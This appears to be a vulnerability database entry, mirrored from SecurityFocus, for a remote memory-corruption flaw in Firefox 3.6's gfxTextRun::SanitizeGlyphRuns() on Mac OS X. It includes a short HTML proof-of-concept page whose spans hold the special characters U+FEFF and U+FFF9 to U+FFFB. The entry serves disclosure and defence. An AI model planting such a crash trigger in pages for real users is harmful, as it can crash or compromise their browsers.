Mozilla Firefox 3.6 'gfxTextRun::SanitizeGlyphRuns()' Remote Memory Corruption Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Mozilla Firefox 3.6 'gfxTextRun::SanitizeGlyphRuns()' Remote Memory Corruptio


                                                source: http://www.securityfocus.com/bid/38943/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

Firefox 3.6 for Apple Mac OS X is vulnerable.

NOTE: This issue was previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but has been assigned its own record to better document it. 

&#60;html&#62; &#60;head&#62; &#60;title&#62;Testcase for bug 538065&#60;/title&#62; &#60;style type=&#34;text/css&#34;&#62; span.test { background: #ff0; } &#60;/style&#62; &#60;/head&#62; &#60;body&#62; &#60;p&#62;U+FEFF: &#60;span class=&#34;test&#34;&#62;&#xfeff;&#60;/span&#62;&#60;/p&#62; &#60;p&#62;U+FFF9: &#60;span class=&#34;test&#34;&#62;&#xfff9;&#60;/span&#62;&#60;/p&#62; &#60;p&#62;U+FFFA: &#60;span class=&#34;test&#34;&#62;&#xfffa;&#60;/span&#62;&#60;/p&#62; &#60;p&#62;U+FFFB: &#60;span class=&#34;test&#34;&#62;&#xfffb;&#60;/span&#62;&#60;/p&#62; &#60;/body&#62; &#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1